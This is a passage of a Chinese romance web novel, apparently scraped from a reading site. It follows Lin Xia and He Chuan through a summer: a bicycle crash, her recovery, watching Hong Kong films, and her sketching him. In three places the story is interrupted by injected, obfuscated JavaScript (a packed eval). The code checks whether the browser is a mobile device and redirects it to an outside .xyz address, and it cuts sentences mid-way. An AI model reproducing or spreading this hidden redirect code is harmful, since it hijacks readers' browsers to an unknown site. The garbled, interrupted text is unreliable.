“那个......你考香港的大学,萍......嗯,你妈妈也同意的吗?” 何川的语气轻描淡写:“她不管我。” 连考大学这么重要的事都不管吗?何萍阿姨看上去是很细心的人啊,然而林夏想到她隔三差五连交待都不交待一声,就随便把何川扔在家里的行为,又有些不确定她到底是个怎样的妈妈了。 “你为什么非要考香港的大学啊?”林夏小心翼翼的问。 那么遥远,那么陌生,学费昂贵,语言不通,既不是985,也不是211,林夏甚至不知道那里算不算重本,他们所有人从小都被教育,要上重点,要考一本, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15627086|172425||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要在既定的框架里走下去,可他为什么要顶着所有人不理解的目光一意孤行呢? 何川没有回答。 是她问错话了吗?林夏心里有些打鼓,不敢再开口。 二人无言的骑行在山林间的小路上,谁都没再出声。 不知走了多久,突然从前方岔道口毫无预兆的蹿出了一辆摩托车,拦住了自行车的去路,何川眼疾手快及时刹车,这才没撞上,但出于惯性,他和林夏连人带车都摔倒在地。 “啊——” 摩托车上是个胖胖的中年男人,光着膀子,一身酒气,横冲直撞害了别人,自己非但不道歉,反而冲他们大声骂了两句脏话,然后一脚油门扬长而去。 何川踉跄着从地上爬起来,盯着摩托车远去的背影,心知追也没用,只得缓缓吐出胸中一口浊气,回身去查看林夏的情况。 一看之下,不禁吓了一跳,林夏伤得比他严重得多,他是侧摔,只不过是手臂擦伤,脚踝轻微崴了一下,而林夏因为穿裙子,又侧坐在车上,所以车子倒地的时候,她是整个人扑在了地面上,两条腿的膝盖,和双手手臂大面积着地,全部磕伤了,鲜血和尘土混合在一起,看起来狼狈极了。 不幸中的万幸,有手臂和头上的帽子挡了一下,她没有伤到脸。 林夏一直坐在何川身后,根本没看见前面发生什么,只觉得突然间有股很大的力道传来,她身下一空,眼前一黑,整个人向前飞去,脑海里一片空白,只是下意识紧紧抓住了手里的东西。 直到被何川扶着坐起来,身上的疼痛才慢慢涌了上来,生理性的泪水忍不住夺眶而出。 “夏夏!很疼吗?对不起,是我没骑稳!” 见她哭了,何川也慌了手脚,一时不知道该先替她擦眼泪,还是先给她处理伤口,见她这时候还紧紧抱着那个塑料袋子,下意识伸手想接过来。 然而他越拉,她却拽得越用力,何川简直有些哭笑不得: “撒手啊!怎么还抱着它?这么喜欢看漫画吗?” 人在失重的情况下,条件反射,手里的东西肯定是要脱手的,刚才她要是按照正常反应扔了袋子,用手杵地,手臂上也许就不会伤得那么严重了。可她偏偏反其道而行,何川想来想去,也只能认为是因为她舍不得心爱的漫画书了。 “不、不是......” 林夏一边哭,一边结结巴巴的说: “这里面,有、有你的录取通知书啊......” 意外发生的时候,人从倾斜,到摔倒,要多长时间?几秒?几毫秒?眨眼之间,也许根本不够大脑神经完成一次思维传递,冷静权衡利弊,所作所为,不过都是一直以来所思所想的下意识体现而已。 那一刹那间,林夏想的根本不是什么漫画什么杂志,而是她手里有何川的录取通知书,那张大学的入场券,那封来自遥远城市的邀请,他放弃所有课余闲暇那么拼命那么努力,考到全市第三,和整个世界的期待背道而驰,终于得到的录取通知书。 那么重要。 她不能撒手。 明白过林夏话里的意思后,何川愣住了。 他想说,塑料袋系得很紧,就算脱手而出,里面的东西也不一定掉出来,就算飞了出来,再捡起来就是了,脏了也无所谓。 退一万步讲,就算真的被风吹丢了,落在水坑里损毁了,也可以联系学校,提供材料,进行补办,虽然过程麻烦,但也不是毫无办法,现在已经不是上个世纪,资讯信息不发达,录取通知书没了就没法上大学的年代了。 但他张了张嘴,却终究没有发出声音。 他高考这一路,从报名,到考试,到估分,报志愿,出成绩,出录取结果,到今天取通知书,有人关心过吗?高中这三年,有人在意过吗?亦或是人生再往前的十几年里,活不活死不死,有人在乎过吗? 只有眼前这个,坐在地上,哭得满脸通红,头上戴着变形的太阳帽,胳膊腿上遍是血污的小姑娘,她有一颗水晶般晶莹剔透的心,她知道他在乎什么,她知道什么对他来说最重要,她用自己幼稚得近乎可笑的方式保护着他的坚持。 何川忽然觉得全身脱力,那是一种突如其来的失重感,令他不禁有些头晕目眩,直接向后一倒坐在了地上。 他替林夏摘掉了脏兮兮的草帽,伸手捋了捋她汗津津,乱蓬蓬的头发,低声笑了笑。 “谢谢你。” 他发自内心,由衷地说。 8. 波斯菊(7) 自行车车链子掉了,没法再骑,而林夏伤了腿,没法再走路,何川脱了衬衫,简单擦了擦她流出的血,包裹住她的伤口,然后把她抱起来放在车座上,他推着自行车走。 “去诊所。” 林夏已经哭得差不多了,渐渐平复了下来,听见他这样说,急忙制止: “不去诊所!” 何川诧异的扭头看了她一眼: “为什么?” 林夏有些为难的低下头,小声说: “我害怕。” 她从小就害怕医生,害怕医院,诊所也不行,可能是因为一直都体弱多病,动不动就打针吃药,遭了不少罪,导致她对那里有一种深深的恐惧,身体不舒服宁愿瞒着爸妈自己捱着,也不愿意去医院。 “你伤得很重。” 林夏逞强:“不严重!回家上药就好了!” “家里没有药。” “那就去买好了,反正我不要去诊所!” 见何川脚步不停,林夏一着急直接伸手捏住了手刹,单车一下子停了下来。 何川回头看向她,四目相对,他不赞同,她偏要坚持。 终于,他败下阵来。 “好吧,不去诊所。” 林夏一下子破涕而笑,她知道他会迁就她的,她就是知道。 叹了口气,他轻声说: “松手吧。” 林夏这才发现,她捏住手刹的同时也握住了他放在车把上的手,如同被烫了一样,她飞快松开了手,脸上不禁有些发红。 何川继续推着车子载着她往家的方向走去,太阳很晒,四周很安静,小路上总有碎石细沙,凹凸不平,自行车每次轻微的颠簸,都牵动着林夏的伤口,血还浅浅的往外渗着,沁透了何川本来雪白的衬衫,手臂和膝盖火辣辣的疼。 林夏隐隐有点不安,不去诊所,真的可以吧...... 忽然间,她听见何川开口: “你知道QS吗?” 林夏疑惑:“什么?” “QS是世界大学排名榜,今年在这个榜上,中国有6所大学进入前一百名,其中香港有三所,内地有三所,而港中文的排名与清北不相上下。这个榜单是由英国一家权威机构发布的,也许会有主观性和商业化,但这至少反应了国外对这些学校的态度和看法。” “香港的大学,确实不是普遍意义上老师们眼中的好大学,但是它的国际认可度更高,对外交流的机会更多,很多课程是全英文教学,这些条件都是内地学校所没有的。” 何川没有回头,只有平静的嗓音从前方幽幽传过来,也许是怕她听不懂,他缓缓的,一字一句地解释着。 林夏慢了半拍才反应过来,他在回答她刚才问他的问题。 一直以来,他说起话来都很简洁克制,这是她第一次听他讲这么长一段话,而这也是她第一次听出他说起话来,语调中带着浅浅的,极力纠正的,同何萍相似的口音。 想了想,她问他: “那你,是想出国吗?” “嗯。” 他应了一下, “我想去远一点的地方,我想,去看看外面的世界是什么样。” 望春市,是祖国东北偏远省份的一个小小县级市,支柱产业是矿业与林业,很长时间以来,都没有麦当劳德克士,没有必胜客星巴克,没有大型综合商场,最繁华的地方是一条五百米长的步行街,最高的楼是市中心一栋十七层装着宝蓝色玻璃的商业大厦,火车站一天只有两趟班次。林夏在这里出生,在这里长大,去过几次省城,每次都要坐6个小时的客车,或者12个小时的卧铺,北京没去过,香港有多远更是没概念。 她是这样,她身边的同学朋友也是这样,一切都是那么理所应当。 她上过网,看过新闻,知道地球有上百个国家,好奇过大都市的热闹与繁华,模糊觉得自己有朝一日考上大学也许会离开这里,但还是第一次听见一个人如此坚定,如此清晰的说,他要走出去,走出东北,走出国门,去看外面世界天大地大。 “为什么不说呢?” 向那些不理解的人解释? 她轻声问。 何川笑了一下: “因为这条路很难,不一定能够实现,没实现的梦想大声说出来,会被别人笑话。” 这一年北京还没有举办奥运会,中国GDP排名全球第四,却还不到美国的四分之一,报纸新闻还在报道贫困与温饱,欧美日韩先进发达得遥不可及,出国不是不可能,但好像与他们通通没有关系。 大时代呼啸而过,我们都是蝼蚁。 可燕雀也有鸿鹄之志,蝼蚁也欲直上青云。 不需要别人理解,也不需要别人支持。 林夏看这眼前推着自行车的背影,他脱掉了衬衫,只穿一件白色背心,露出平直的肩膀,和凸起的蝴蝶骨,有着少年人特有的瘦削,挺拔,倔强,固执,一往无前,不撞南墙不回头。 她突然开口: “我听见了。” 何川一愣:“什么?” “我说,你的梦想我听见了。” 林夏笑得灿烂无邪, “不止是我,山听见了,树听见了,风听见了,云也听见了,但我们不笑话你,我们都是见证人。” 她一字一顿告诉他: “何川,你的梦想一定会实现的。” ...... 何川说的没错,家里确实没有外伤药,附近也没有药店,不过幸好隔壁郝婶家里有备。 两个人回到家,林夏换了脏衣服,简单擦了擦身上的泥土,何川从郝婶家借了东西回来之后,给她上药。 她坐在床边,他坐在小板凳上,比她矮一截,先用沾了酒精的棉花布消毒。 “有点疼,忍一忍。” 他提醒她。 她点点头。 可疼痛并不会因为事先的心里准备而有所减轻,本来已经有些麻木的创口,一沾上冰凉的液体,所有知觉顷刻间苏醒,林夏疼得差点叫出声来。 走回来这一路,血本来已经不流了,但这一擦,又开始往外渗,血和泥和酒精还有一些组织液混合在一起,看起来特别可怕,林夏赶紧把头扭过去,不敢多看。 膝盖处理完,是两个手臂,然后再上药,又是一顿折磨。 好在伤口并不深,也没有伤到筋骨,都是皮肉伤,只不过擦破的面积大,看着比较吓人而已。 两个人离得非常近,他握着她的脚踝,让她伸腿搭在他的膝盖上,他低头上药的时候,额前的碎发与温热的呼吸,若有若无扫过她,痒痒的。伤口是凉的,肌肤相接的地方是烫的,林夏只觉得脸上越来越热,浑身一颤,忍不住打了个哆嗦。 终于,上完药,裹上纱布,何川长松了口气,像个合格的医生一样嘱咐她: “这几天别出门了,也注意不要沾水,一周左右应该就能结痂了。” 林夏愣愣的望着他,脑袋里不知道在想些什么。 何川见她目光呆滞,眼眶微红,不由伸手摸了摸她的头: “还疼吗?” “还行......” “那为什么又哭了?” 何川伸手抹去了她眼角半干的泪痕,失笑, “这么大了,怎么还这么爱哭?” 林夏有些不好意思,急忙反驳:“我不是因为伤口疼哭的,我是因为......因为裙子破了才哭的。” 无意间瞥到换下来扔在一旁的裙子,林夏不由轻呼了一声: “对了,我的裙子!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15627087|172425||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 何川将裙子递给她,林夏接过来仔细翻看了一遍,越看越伤心,差点又掉下眼泪来。 这条裙子是轻纱布料,颜色又浅,摔了这一跤后,上面不仅又是血又是泥,下摆还撕开了一长条口子,简直惨不忍睹。 “这是雯姨从省城给我买的,是我最喜欢的一条裙子了......”她委屈地小声嘟囔着。 在何川眼里,因为伤口疼而哭,或者因为裙子破了而哭,似乎都没什么区别。 果然,还是个小孩子啊,任性又臭美的小孩子。 他放缓声音安慰她:“别担心,我帮你洗干净,再找郝婶让她帮你补一补,她针线活儿很厉害,说不定可以补救。” “就算补好了,也有痕迹啊,不如原来那么好看了......” 林夏正伤心着,等摸到裙子侧面口袋的时候,突然脸色一白,整个人都僵硬了。 何川不解:“怎么了?” “我的钱,放在兜里的,不见了...一定是刚才掉出去了......” 这回林夏真的哭出来了。 她一哭,何川是真没辙,连忙问她, “多少钱?几张?什么面值?” “一、一百,就是一张新版一百元......” “别着急,我去帮你找,一定给你找回来!” 说完何川立马起身出了门。 林夏已经顾不上其他了,她整个人向后一倒,躺在床上,前所未有的难过。 那是整整一百块钱啊!一笔巨款!爸爸临走时留给她的,她还没来得及花。一根辣条一毛钱,一只雪糕五毛钱,一瓶饮料两块五,一本漫画杂志五元......一百块钱,她能买多少好吃的好玩的啊! 她就不该把钱随身带着,她今天就不该出门!屋漏偏逢连夜雨,她真是太太太太倒霉了! 极度伤心之下,她失去了意识,迷迷糊糊间不知道过了多久,直到听到大门砰的一声响,再睁开眼时,外面天已经快黑了,她这才发现,自己竟然哭着哭着就睡着了。 “夏夏!” 林夏揉了揉眼睛,勉强坐起身,牵扯到伤口,又是疼得倒吸一口冷气。 只见何川从门外走了进来,笑着说: “找到了,你看!” 林夏看着他递过来的一张粉红色钞票,简直不敢相信自己的眼睛,惊喜叫道: “啊!真的找到了!太好了!” 失而复得的喜悦实在是太让人开心了,她觉得自己的伤口都没那么疼了,看来老天爷还是对她网开一面了。 可是等她接过钱,仔细一看,却发现有些不对劲。 她记得,当时爸爸走之前给她的,是一张破旧的人民币,可眼前这张,却是一张崭新的钱。 这不是她的。 难道说,有人在同样的位置,和她一样倒霉丢了一百元钱,又恰好被何川捡到了?这也太巧了吧? 她抬头,刚想把心里的疑问告诉何川的时候,突然发现,眼前的少年满头大汗,衣衫都湿透了,还在对她笑。 “这回不哭了吧?” 他笑得很好看很好看。 这一瞬间,林夏突然明白了过来。 这不是她的钱,也不是另一个刚好丢了钱的倒霉鬼,这是何川的钱,他什么也没有找到,于是把自己的钱拿给了她。自行车的链子掉了,他一定是跑着去,跑着回来的吧,就怕晚一分钟,她会伤心,会难过。 原来不是老天爷对她网开一面,是有人受不了一个小姑娘的眼泪,替她补全了缺憾。 “嗯,不哭了。” 林夏垂眸,轻轻笑了起来,她缓缓说: “这个钱,就先放你那里吧,你帮着保存着,免得我马虎大意,又弄丢了。等我想买东西的时候,再管你要,好不好?” 9. 波斯菊(8) 林夏混吃等......呃不,养伤的日子,就这样开始了。 因为膝盖伤了,所以不方便走路,因为手臂伤了,所以不方便拿东西,林夏成天就躺在沙发上,衣来伸手,饭来张口,生活过得特别惬意。 何川或许是因为内疚,或许因为别的什么,对她越来越好,简直是千依百顺,有求必应。他给她买了一大堆零食,巧克力薯片,旺旺仙贝,AD钙奶,想吃什么有什么,一日三餐也全部按照她的口味来。他还言出必行,帮她把裙子洗了出来,用手一点点认真把所有污渍全部搓掉,然后拜托郝婶将撕坏的地方缝合了起来,郝婶的手特别巧,缝出了麦穗花纹,映衬在原来裙子的绿色小碎花上,一点也不难看。 可是缝得再完美,也终究不会崭新如初了,林夏是宁缺毋滥,追求完美,钻牛角尖那种人,所以这件裙子她并不打算再穿了。 但她也不会扔掉,她会留起来,好好珍藏着。 谭之舟的漫画书她两三天就看完了,百无聊赖之下,只能看电视,每天从早上的海峡两岸,到中午的中国新闻,到下午百家讲坛,环球时讯,再到晚上的黄金剧场,海外剧场,林夏从来没盯着中央一套这么长时间过,基本上已经把所有主持人都认个全了。 何川每天的生活也非常简单,他不出去和同学朋友玩,不打游戏,每天除了做饭劈柴干家务,就是练字和学英语,听不知哪个外文电台,在院子里大声读着文章。林夏很佩服他,他的毅力,他的刻苦,她说他的梦想一定可以实现,不是毫无根据的安慰。 那段时间是东北一年中最热的几天,空气闷热得没有一丝风,坐着不动就是一身汗,何川把电风扇从卧室里搬出来放在客厅,林夏贪凉,穿着小背心小短裤坐在电风扇前吹个不停。西瓜用拔凉的山泉水冰过,一切两半,两个人一人捧着一半用勺挖着吃。家附近破旧小卖部卖的没包装的冰棒五毛钱一根,开始何川每天一趟趟去买,后来索性卖回来一大包,冻在厨房嗡嗡作响的老式冰箱里,想吃随时就拿。 无论林海生、何萍,还是林学东、赵倩怡,谁也没有打来电话,林夏与何川,他们就像被遗忘在了这栋坐落在茂密松针白桦林的大房子里,与世隔绝,相依为命,仿佛是地球核爆炸,现代文明毁灭之后仅剩的两个人。 没有作业,没有考试,没有升学压力,没有家长唠叨,吃不完的水果零食,这个夏天干净、炽热、明媚、悠长,快乐得好似没有尽头。 . 某天林夏实在看腻了央视,转台到望春台,发现又在放电影,因为正好是开头,她索性就看了下去。又是香港电影,主角是刘德华和郑秀文,剧情很有意思,渐渐地她就看入了迷。没想到就在她正看得津津有味的时候,电影戛然而止,电视台突然开始放本地新闻。 “啊!怎么这样啊?” 林夏很不满。 何川走过来问:“怎么了?” 林夏向他控诉电视台的恶行,后者却见怪不怪:“望春台总是这样,中午就会播新闻,先吃饭吧,也许待会儿它又会接着播了。” 林夏将信将疑的点点头,但是又怕错过,她实在太想知道后面发生什么了,于是抱着饭碗守在电视机前吃。 然而等到新闻播完,又播了一大段乱七八糟的广告,黑屏了两个小时后,居然直接开始放另一部电影。 “太离谱了吧!” 林夏难以理解。 难道是下午换人上班了?是真人在电视台操控播放的节目吗?怎么会这么随意? “我还想知道结局呢!他们有没有在一起啊?” 何川问:“电影叫什么名字?” “没看到。” 林夏给他简单复述了一遍剧情。 “这个我看过,望春台隔三差五就放这个。”何川想了想,告诉她,“男主角最后死了。” “怎么可能?!”林夏不可置信的瞪大了眼睛,“为什么?怎么死的?他们明明还相爱的啊!” 但何川不太记得后面的剧情了,只是和她说: “你再等等吧,也许过几天又放这个了。” “那要等到什么时候啊?我现在就想知道结局,尤其是你跟我说男主角居然死了,我更想知道原因了。”林夏非常沮丧,“说不定今天晚上都睡不着觉了。” 那个年代没有节目预告,没有网络搜索,电视里放什么,观众就只能看什么,非常随机,每次错过,可能就再也遇不到了。 “又睡不着了呀?”何川有些好笑,“这回可别半夜蒙着被子上厕所了。” 林夏知道他是在拿她刚来第一天晚上的事打趣,气得瞪了他一眼: “你笑话我!我不理你了!” 这是她能想到和人交往最严重的惩罚了。 这种少女闹别扭的口头禅一出,何川笑得更厉害了,但看她一扭头就一瘸一拐的进了房间,真打算不理人的样子,他没办法还得去哄人。 他走到林夏房门口,煞有介事的敲了敲门。 “夏夏?” 林夏脸冲下趴在床上,一动也不动,假装没听到。 何川叹了口气: “明天我要去一趟市区,去公安局取通行证,我记得谭之舟说过,学校附近有家租碟的老店,有很多港台的片子,我去帮你问问有没有。” 林夏闻言终于有了反应,身子没动,只有头缓缓扭了过来,小声问: “真的吗?” “真的,”何川无奈,“我骗你干什么?所以,今天你就先忍耐一个晚上吧。” “好。” 林夏乖乖答应,然后她笑了一下,用只有自己能听见的声音小声说: “何川你真好。” 被宠爱长大的孩子天生就有一种本 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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刘德华和郑秀文究竟合作过多少部电影,在戏里当过多少次情侣呢?林夏也记不清了,只是记得在那年夏天,何川把那家租碟店里两个人出演的所有电影都租回来了,喜剧的,悲剧的,他们一一看过。然后又看其他港片,成龙、周星驰、梁朝伟、杜琪峰、王家卫......那时的电影光碟都是盗版,质量很差,播放时动不动就卡碟,要手动退出再重新来,一场90分钟的电影看下来要100分钟还多,但他们还是不厌其烦。 很多时候,人在十几岁少年,三观形成最重要的时期,所接触的东西,会影响一辈子,成为刻在性格中无法抹去的底色。而千禧年前后是香港电影最后的黄金时代,所产出的作品,远远不只是迎合市场的俗套段子,以及吸引人眼球的俊男靓女那样简单。有许多故事,林夏当时可能并没有看懂,许多细节,长大后已经记不太清,但她一直都在被那些电影所传递的内核无形指引着,暗示着,经过很多年后才恍然醒悟。 要接受命运的无常、时代的巨变,谈恋爱要好聚好散,上班就要在光鲜亮丽的写字楼里做白领,以及,人生走到最后,都是孤单。 她想,何川和她大概也是一样的。 10. 波斯菊(9) 林夏的伤口在一周后完全结痂,已经不影响走路了,但是大面积的黑褐色凝结在皮肤上,特别丑,林夏把自己关在房间里,不想见人。 何川以为她又躲起来哭鼻子,敲门进屋一看,发现她正坐在书桌前发呆,面前摆了一堆铅笔橡皮。 “吃西瓜?” 林夏摇头:“好撑,吃不下。” “看电影?” 林夏又摇头:“看多了,眼睛疼。” 何川好脾气的继续问: “那你想干什么?” 林夏转过头来,老老实实回答: “其实,我想画画。” 这个假期,她本来也是要继续去画室的,但是因为林学东和赵倩怡出门,她只能来林海生家,画画的事就只能暂时中止。老师生怕她落下了功夫,千叮咛万嘱咐,让她一定要隔三差五勤练习,但是她偷懒,自从放假到现在都没再拿起笔,这几天负罪感越来越重,一直到今天,她决定不能再这样继续下去了。 “那画呀。” “但是,我没带画板和纸。” “宣纸行吗?” 林夏笑了:“当然不行了。” 何川想了想:“那来书房找找吧。” “好。” 林海生家里最不缺的就是纸,虽然没有铅画纸、水粉纸,但林夏和何川找到了一种质地比较适合画画的白纸,纸张年头不短,纸面有些泛黄,但还能用。何川帮林夏把这些纸裁成8K左右大小,又找了一块比较薄,比较平整的胶合板,把纸钉在上面,一个简易的画板就做好了。 林夏试了试手感,矜持的点点头:“马马虎虎吧。” 然后她蹲在垃圾桶旁边开始削铅笔,何川本来还提着心怕她不小心削到自己,没想到这个十指不沾阳春水的小姑娘,拿起美工刀来,却是熟练又灵巧,只见木屑铅灰纷飞下,转眼就削完了好几根笔。 这是一个美术生的基本功,林夏不可能做不好。 然后她拿起一根笔芯被削得尖锐纤长得吓人的4B中华,手托着下巴,漫不经心的四下打量。 “画什么好呢?” 苹果?鸡蛋?画够了;瓶瓶罐罐的话,爷爷家的都不太漂亮;去外面写生的话,太阳太大了,很晒人...... 目光转了一圈,最终落在了面前之人的身上。 “决定了,就是你了!” 何川垂眸看着煞有介事指向自己的铅笔,有些好笑: “你从一开始就是这么打算的吧?” 林夏被拆穿了也没有半分不好意思,只是笑嘻嘻的央求着: “怎么样?好不好嘛?” 何川叹了口气:“可以坐着吗?” “可以啊。” “可以看书吗?” “当然可以了,不用一动不动,摆你舒服的姿势就行了。” 在林夏的指导下,何川拿着板凳坐在了客厅光线明亮的地方,林夏围着他转了一圈,找了一个比较好画的角度,架起画板,开始下笔。 她有点不好意思的说: “我刚开始学人像,还不太会,要是画得不好,你可不能笑话我。” “拿我练手?”何川笑了笑,“全市第一的水平,我相信。” 他又逗她,林夏皱了皱鼻子,轻哼了一声: “等着瞧吧!” 说着,她拿笔瞄了瞄比例,然后开始在纸上下笔,先定点,构图,然后画轮廓,勾勒外形,线条构成的几何形铺陈开来,一个人的大致轮廓也就定下来了。 林夏有时间没画了,手有些生,适应了一阵子,才慢慢找到了感觉,渐入佳境。 打型之后,就是画五官,三庭五眼确定后,林夏开始光明正大的仔细观察何川。 夏日午后的阳光穿过干净的玻璃投在他的身上,印出蕾丝窗纱的影子,光柱中有灰尘在轻盈的飞舞,他低头专注地盯着手中的书,露出最适合描绘的四分三张侧脸,皮肤白皙,斯文又秀气,他是下垂眼,双眼皮很宽,很深,低眸的时候,睫毛便显得格外的长。 林夏从一开始就觉得他好看了,也从一开始就想画他了。 没有一个创作者能拒绝美好的事物,那是灵感爆发的源泉,是艺术生命力的养分,用画笔凝固,用岁月定格,哪怕光阴逝去,纸上的缪斯也永远鲜活,永远年轻。 房间里安静极了,只有笔尖落纸,规律而轻盈的唰唰声,听得人心中很平静,很安详,一不留神就会睡去了一样。 何川也开始犯困,腰背渐渐有些僵硬,但不敢做大的动作,只是微微抬眼看向林夏。 而她似乎完全没感觉到他的视线,只是象征性的看了他一眼,然后继续在画纸上落笔,不断补充着细节,已经完全沉浸在光影线条的世界中去了,眉梢眼角都是轻盈的愉悦。 画家在看画中人,画中人也在看画家。 何川忽然轻声开口: “你真的很喜欢画画啊。” “嗯?” 林夏听到这句话愣了一下,手中的笔也停了下来, “我,喜欢画画吗?” “不是吗?画画的时候,你整个人都很开心。” “不是,不,也没有不是,”林夏微微皱眉,有点苦恼,“我从来没有想过这个问题。” 最初,是赵倩怡让她学美术的,那时候她还小,家长的安排就是圣旨,她没有资格拒绝。 后来,是为了上高中,以她的成绩,中考想上重点高中,没那么有把握,走艺术生这条路,可以说是弯道超车。身边有不少同学是这样,学长跑的,学播音的,只是为了升学而已。 但是在日复一日的练习里,她发觉自己总是比别的同学领悟的更快,画得更好,老师的频繁称赞,参加大小比赛获得的各种荣誉,让她得到了前所未有的自信与满足,那是与面对背不下来的单词,看不懂的古文,解不出的方程式时所产生的挫败感,截然相反的东西。原来她不是笨拙,只是天赋不在学习,原来她也有长处,只是之前从来没被发现。在学校,她默默无闻,但在画室,她永远是最佳范本,优等生的滋味原来就是这样啊! 越被夸奖,她就越勤奋努力,画得越好,这样良性循环,画画自然在她的生命中所占的比重越来越重,直到今天,她可以骄傲的说,画画就是她最擅长的事! 那么,喜欢吗? 该如何定义喜欢? 仅仅因为一样事物所带来的利益与荣耀而喜欢,是纯粹的喜欢吗?不纯粹又如何呢?人是趋利避害的动物,喜欢一样东西,当然是因为美好的一面,但假如与此同时它也带来痛苦、悲伤、一系列负面的东西呢? 每个周末,每个假期,每当春光明媚的时候,秋叶飘零的时候,别的同龄人都在尽情游戏的时候,她要背着画板,拎着画具,风雪不误的去画室,一坐坐上一整天,蹭得双手与胳膊上都是铅灰,衣服鞋子上都沾着颜料。也不是次次都画得顺利,总有怎么练习都掌握不好的要点,看着简单手却跟不上眼睛,被老师批评后,自己生闷气哭上好几天。 可即便是这样,即便是如此,她还依然坚持着,从未想过放弃。 哪怕是考试结束的这个假期,没有任何人监管的小桃源,她仍然忍不住拿起画笔,使着那马马虎虎凑合用的画板,在这张泛黄的旧纸上, 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何川失笑:“当然不是。” “那是什么?是书法吗?” 何川沉默了一下,缓缓说:“只能说,是不讨厌吧。” 林夏有点意外,原来他不喜欢书法吗?不喜欢也可以做得那么好吗? “我可能没什么爱好,”何川轻笑了一下,“我也不需要有什么爱好,如果不是像你一样,把爱好当作事业,反而是一种拖累。” “拖累什么?考学吗?”林夏奇怪,“可你已经毕业了,就算是以后还想出国,也不用把自己逼得这么紧啊,你这么聪明学习这么厉害,一定没问题的!” “但愿吧。” 何川没有对这个话题深究,只是浅浅的应和了一下,然后问她: “还有多久能画完?天快黑了。” 林夏这才想起来手下还有画作没完,赶紧说: “再等等,我还没画完细节。” 然后她继续动笔,没想到刚画了几笔,忽然觉得手臂传来一阵刺痛。 她扭过自己的手臂一看,发现结痂的位置脱落了一小片,露出了下面新生的嫩肉,和隐隐血丝。 “怎么了?” 她把手举向走过来的何川: “可能是不小心蹭到纸上了。” “确实。”何川皱了皱眉,“你拿笔的这个动作,正好擦过这里。” 两人面面相觑,然后不约而同一起看向那副未完成的画作。 白纸之上,虽然光影明暗还很潦草,但人物轮廓五官已经初具雏形,能看出来画画之人确实画人像的功夫还不熟练,然而难得的是把模特的神韵抓得很准,任谁一看,都知道画得是谁。 何川无奈:“别画了,如果再伤一遍,会留疤的。” 林夏当然不想留疤了,但事到如今也没办法,只好不情不愿的点点头。 可她又有点不甘心,半途而废不是她的风格,于是问: “那你什么时候再给我当模特啊?” “等你伤好以后,有机会的吧。” “好吧。” 当天晚上,林夏把这张未完成的画作夹在了自己画随笔的画册里,等待以后有一天能够补全它,那时她还以为那并不是一个很遥远的时间点。 人们总是习惯说以后,不知是对未来太过笃定,还是对命运太有信心,殊不知道一切人生都只有当下,这一分这一秒能够被把控,来日方长,皆是虚妄。 11. 波斯菊(10) 两周以后,林夏的结痂开始陆续自然脱落,伤口处总感觉特别痒,但她怕落下疤痕,硬生生挺着不敢抓。又过了四五天后,结痂终于掉得差不多了,虽然长出来的嫩肉颜色还是较浅,但是接下来好好养着就可以了。 林夏长长松了一口气。 其实何川也是。 确定伤疤基本痊愈之后,林夏做的第一件事就是——洗澡! 养伤这段时间,虽然也每天擦洗,但怕伤口沾水,完全不敢淋浴,三伏天里,每天不动都一身大汗,林夏觉得自己简直都快馊了! 终于,在卫生间里畅快淋漓的狠狠洗了一通,林夏活过来了,简单打扫了地上的水渍,换了一身还散发着皂角香气的干净衣服后,她走出了卫生间。 何川正在叠晾干的衣服,听到声音一抬头,只看见小姑娘穿着拖鞋,一身白色棉布裙,浑身蒸腾着温热的水汽,露出的肌肤白里透红,很幼嫩,一头半湿不干的头发还滴着水,但她完全不在意,嘴里哼着歌,特别开心的样子。 何川只觉得心脏莫名跳了一下,不由移开了目光,嘴上叮嘱着:“头发擦干,不然要感冒。” 林夏却不愿意,笑嘻嘻说:“不要,这样凉快,天这么热,才不会感冒呢!” 何川无奈,知道自己也治不住这丫头,也就不管了,只问她:“明天十五,道口有大集,我去买菜,你和我一起去吗?” “去去去!”林夏忙不迭地答应,“我都好多天没出去玩了!” “好,那你明天早点起来。” “知道啦,我要是没起来你一定叫我!” . 第二天,林夏生怕何川没有叫自己,心里装着事儿,起得特别早。 每月逢初一十五,铁道口的岔路上有盛大的集市,附近的居民都会去赶集。去赶集照例早饭要在集市上吃的,于是两个人起床后直接出发了,但是铁道口离家比较远,要骑车去才行。 林夏看着眼前的自行车有点犯难。 老实说自从上次摔伤后,她有点落下心病了。 “这次我一定骑稳,不会再摔了。”何川对她说,“不过你如果实在害怕的话,我们就打个摩的过去。” 林夏纠结了一会儿,下定决心:“没事儿,我坐!比起摩的,我还是更信任你一点。” 等她坐了上去,车子一往前走,林夏不由开始紧张了起来,本来抓在何川衣摆上的手条件反射一样搂住了他的腰。 吱嘎一声响,何川脚撑地刹了闸,自行车还没走出半米就停住了,两个人一时间都僵硬在了原地,没有动作。 炽热又躁动的气息,无声在周围蔓延。 明明是一大清早,太阳还没高升,可他们都觉得已经出了一身汗。 